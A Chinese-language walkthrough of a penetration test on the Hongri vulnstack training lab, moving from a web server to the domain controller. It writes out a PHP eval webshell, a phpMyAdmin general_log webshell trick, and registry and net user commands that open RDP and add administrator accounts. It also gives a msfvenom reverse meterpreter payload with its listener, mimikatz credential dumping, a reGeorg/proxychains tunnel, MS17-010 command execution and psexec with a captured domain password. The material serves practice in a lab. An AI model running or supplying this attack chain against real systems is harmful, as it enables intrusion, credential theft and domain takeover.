編者註:作者近期在學習內網滲透,本文圍繞學習期間靶場搭建及滲透的整個過程進行了一場詳細的分享。
一
環境搭建
1.1 靶場搭建
本次靶場:紅日 vulnstack靶機靶場下載地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
該靶場分為VM1(Windows 7)、VM2(Windows server 2003)、和VM3(Windows server 2008)三個系統,簡單的網絡拓撲圖如圖1所示:
圖1 靶場網絡拓撲圖
其中kali Linux設置為橋接模式;
Windows 7(VM1)網絡適配器1設置為橋接模式,
網絡適配器2設置為NET模式;
Windows server 2003(VM2)網絡適配器設置為NET模式;Windows server 2008(VM3)網絡適配器設置為NET模式。
此時VM1、VM2、VM3就處在2,只有VM1web伺服器能夠訪問內網,所以想要訪問Windows server 2003和Windows server 2008伺服器,就必須要先拿下Windows 7,以它為跳板進行內網的橫向滲透。
Windows 7
內網IP:192.168.52.143、255.255.255.0、192.168.52.2外網IP:192.168.1.4、255.255.255.0、192.168.1.1
Windows server 2003
IP:192.168.52.141、 255.255.255.0、 192.168.52.2
Windows server 2008
IP:192.168.52.138、 255.255.255.0、192.168.52.2攻擊機 KALI
IP:192.168.85.130、255.255.255.0、 192.168.85.255
物理機Windows 10
IP:192.168.1.13、255.255.255.0、192.168.1.1
(註:由於本次滲透不是一次性完成的,所以在以下的過程記錄中,IP可能會發生變化)
1.2 信息收集
(前提條件:我們只知道Windows 7 web伺服器的外網IP:192.168.1.4)(1)在kali Linux中使用Nmap進行埠掃描,掃描結果如圖2所示:
圖2 Nmap信息收集
目標開放25(SMTP,郵件)、80(http)、110(https)、3306(MySQL)埠;訪問80埠,是一個Yxcms的網站,如圖3:
圖3 web站點
(2)對網站進行目錄掃描,掃描結果如圖4所示:
圖4 網站目錄掃描結果
二
漏洞利用(兩種getshell方式)
2.1 yxcms後臺getshell
對整個網頁測試了一遍,並沒有發現明顯的SQL注入,在會員登錄(圖5)處注意到了URL的特點會員登錄的URL如下:http://192.168.1.4/index.php?r=member/index/login將r的參數改為admin後就到了管理員後臺登錄處(圖5,這裡其實是yxcms的默認後臺管理登錄的地址)
圖5 會員登錄
圖6 後臺管理登錄
在這裡通過BP抓包測試,發現他的驗證碼是可以重複使用的,那麼就意味著可以進行爆破,驗證碼復用測試比對圖如圖7所示:
圖7 驗證碼復用測試比對圖
經過爆破,帳號密碼是admin/123456,登入後臺
圖8 登錄後臺
在yxcms中,後臺的模板管理處可以通過插入一句話木馬進行getshell在前臺模板->管理模板文件->index_index.php處編輯,插入一句話木馬(圖9)
圖9 插入一句話木馬
使用菜刀連接後即可getshell,經過查詢後是具有系統權限(圖10、11)
圖10 菜刀連接
圖11 當前權限查詢
2.2 PHPmyadmin後臺getshell
在前面的信息收集過程中,我們發現了一個phpmyadmin的目錄,訪問後並嘗試弱口令登錄,經過測試帳號密碼都是root(圖12)
圖12 PHPmyadmin後臺管理
在這裡可以通過開啟全局日誌的方式getshell,在SQL語句中執行以下兩條命令:
set global general_log=on;# 開啟日誌set global general_log_file='C:/phpstudy/www/v01cano.php';# 設置日誌位置為網站目錄
然後使用
SHOW VARIABLES LIKE '%general%'
查看一下命令是否成功執行(圖13)
圖13 查看命令是否執行成
通過執行SQL語句:
select "<?php eval($_POST[apple]);?>"
插入一句話木馬即可getshell(圖14、15)
圖14 成功插入一句話木馬
圖15 菜刀成功連接
三
內網滲透
3.1 嘗試遠程登錄
在獲取webshell後,查看當前權限以及3389埠開放情況。經過查詢,當前為系統權限,但是3389埠並沒有開放,可以通過以下指令來開啟3389埠(適用於win7、win2003、winxp,關閉命令把如下0都換成1即可),如圖16。
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
圖16 開啟389埠
添加用戶並添加到管理員組中,如圖17所示
net user yuuki !@#QWE123 /add # 添加帳戶密碼net localgroup administrators yuuki /add # 給test帳戶添加為管理員權限net user # 查詢是否成功添加yuuki用戶
圖17 添加帳戶並添加到管理員組中
使用我們添加的帳戶進行遠程登錄,但是提示無法連接(帳後密碼都對,3389也處於開啟狀態)。通過Nmap掃描3389,發現埠狀態是filtered,如圖18。(這裡查看靶機防火牆後,發現通過防火牆開啟了阻止所有與未在允許程序列表中的程序的連接,換句話說,設置了白名單,只能本地連接。)
圖18 3389埠狀態
此時可以有兩種思路:(1)通過MSF或CobaltStrike反彈一個shell,然後關閉防火牆;(2)嘗試使用隧道連接3389.
3.2 MSF反彈shell
嘗試通過MSF生成木馬文件上傳至伺服器,然後在MSF上進行監聽,如圖19、20。生成反彈shell程序
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.85.130 LPORT=4444 -f exe > shell.exe
通過菜刀上傳至伺服器,並運行起來。
圖19 生成木馬文件
在kali Linux中運行起來msf,設置監聽的模塊
use exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset lhost 192.168.1.20set lport 4433run
圖20 監聽到返回的shell
3.3 使用隧道連接3389
嘗試通過隧道方式連接3389,在Sunny-Ngrok的官網 https://www.ngrok.cc/ 註冊一個帳號(可以通過這個軟體實現使用外鏈訪問電腦本地項目的功能),登錄之後選擇隧道管理->開通隧道->選擇一個伺服器(frp或者ngrok)->開通隧道並獲得一個隧道id->下載客戶端->打開客戶端啟動工具->輸入隧道id->本地遠程登錄。開通隧道時隧道名稱隨意寫,本地埠寫想要轉發出去的計算機IP及埠(可以為區域網內任意機器映射,這裡填入想要轉發的win7的IP及埠)
圖21 創建隧道
圖22 啟動Sunny-Ngrok工具
本地填入域名埠遠程連接,可以成功登陸,關閉防火牆。(Sunny-Ngrok啟動工具需要一直開著)
圖23 遠程連接
3.4 使用CobaltStrike生成後門並連接
通過mimikatz抓取密碼,圖24、25
圖24 啟動mimikatz
圖25 抓取到了帳號密碼
3.5 域信息搜集
可以通過以下的一些常用命令進行信息收集
net time /domain #查看時間伺服器,判斷主域,主域伺服器都做時間伺服器net user /domain #查看域用戶net view /domain #查看有幾個域ipconfig /all #查詢本機IP段,所在域等 net config Workstation #當前計算機名,全名,用戶名,系統版本,工作站域,登陸域 net user #本機用戶列表net group "domain computers" /domain #查看域內所有的主機名 net group "domain admins" /domain #查看域管理員 net group "domain controllers" /domain #查看域控net localhroup administrators #本機管理員[通常含有域用戶]net user 用戶名 /domain #獲取指定用戶的帳戶信息 net group /domain #查詢域裡面的工作組 net group 組名 /domain #查詢域中的某工作組
最終,通過信息收集,獲取到了如下信息:域:owa.god.org域內的用戶:Administrator、Guest、krbtgt、ligang、liukaifeng01域內的主機:owa、ROOT-TVI862UBEH、STU1域控:owaWindows 7的內網IP:192.168.52.143 255.255.255.0 192.168.52.2
四
橫向滲透
4.1 添加路由、掛Socks4a代理
添加路由的目的是為了讓MSF其他模塊能訪問內網的其他主機,即52網段的攻擊流量都通過已滲透的這臺目標主機的meterpreter會話來傳遞;添加socks4a代理的目的是為了讓其他軟體更方便的訪問到內網的其他主機的服務;(註:添加路由一定要在掛代理之前,因為代理需要用到路由功能)(1)添加內網路由
圖26 添加路由
使用arp -a 查看一下所有接口的當前ARP緩存
圖27 ARP緩存
(2)設置代理,設置成功後打開其他程序時都要在前面加上proxychains通過reGeorge+socks4的方式添加代理。
首先是reGeorge的安裝,下載:https://github.com/sensepost/reGeorg
運行序偶需要的環境:Python、pip、urllib3;
pip安裝(kali2020):wget https://bootstrap.pypa.io/get-pip.pypython get-pip.py
urllib3安裝:pip install urllib3
首先,Windows7的靶機是php環境,將reGeorge中的tunnel.nosocket.php上傳至網站,並訪問
圖28 訪問tunnel.nosocket.php
之後在kali中執行命令:
python reGeorgSocksProxy.py -p 1080 -u http://192.168.1.4/tunnel.nosocket.php #表示本地1080埠的流量都轉發給指定的那個url,1080是指定的監聽埠;
然後配置proxychains代理鏈的配置文件/etc/proxychains.conf,將代理設置成本機的1080埠:socks4 127.0.0.1 1080
然後命令前面加上proxychains即可。如:proxychains curl http://192.168.52.139
圖29 啟動reGeorg
圖30 設置代理
圖31 訪問內網測試
圖32 訪問內網測試
4.2 拿下第二臺主機
前面添加好代理後,對141主機進行埠掃描
圖33 使用Nmap進行埠掃描
圖34 開放了445埠
開放了445埠,所以利用use auxiliary/scanner/smb/smb_version 可以掃描系統版本,掃描結果是Windows server 2003
圖35 系統識別
這裡可以通過MS17_010進行遠程命令執行,添加用戶並添加到管理員組中,開啟3389埠。
圖36 加載攻擊模塊
圖37 設置配置信息
圖38 執行成功
使用同樣的方法添加帳戶,添加到管理員組
use auxiliary/admin/smb/ms17_010_commandshow options #查看配置set rhosts 192.168.52.141 #指定靶機IPset command net user test @!FuckSEC!@ /add #添加用戶run #成功執行set command net localgroup administrators test /add #管理員權限run #成功執行set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' #開啟3389埠run #成功執行
圖39 遠程登錄
因為主機開啟了135埠,所以也可以使用MS03_026
use exploit/windows/dcerpc/ms03_026_dcom
圖40 加載攻擊載荷
因為我們添加了代理,所以應該選用正向shell
set payload windows/meterpreter/bind_tcp
針對141主機
圖41 選擇監聽payload
圖42 獲取session會話
4.3 拿下域控域控的IP位址是192.168.52.138,經過Nmap掃描後同樣開放著445埠,使用use auxiliary/scanner/smb/smb_version 掃描系統版本,掃描結果是Windows server 2008
圖43 掃描系統版本
前面我們抓取到了域控的帳號密碼,如圖25,可以通過use exploit/windows/smb/psexec模塊進行攻擊獲取session
use exploit/windows/smb/psexecset rhosts 192.168.52.138set smbdomain GOD.ORGset smbuser Administratorset smbpass hongrisec@2020set payload windows/meterpreter/bind_tcp(這裡使用正向代理)run
圖44 成功獲取session
至此,所有的操作完成,成功拿下了三臺伺服器。
原創不易,如果您覺得不錯,動動發財的小手指,點個讚,轉發分享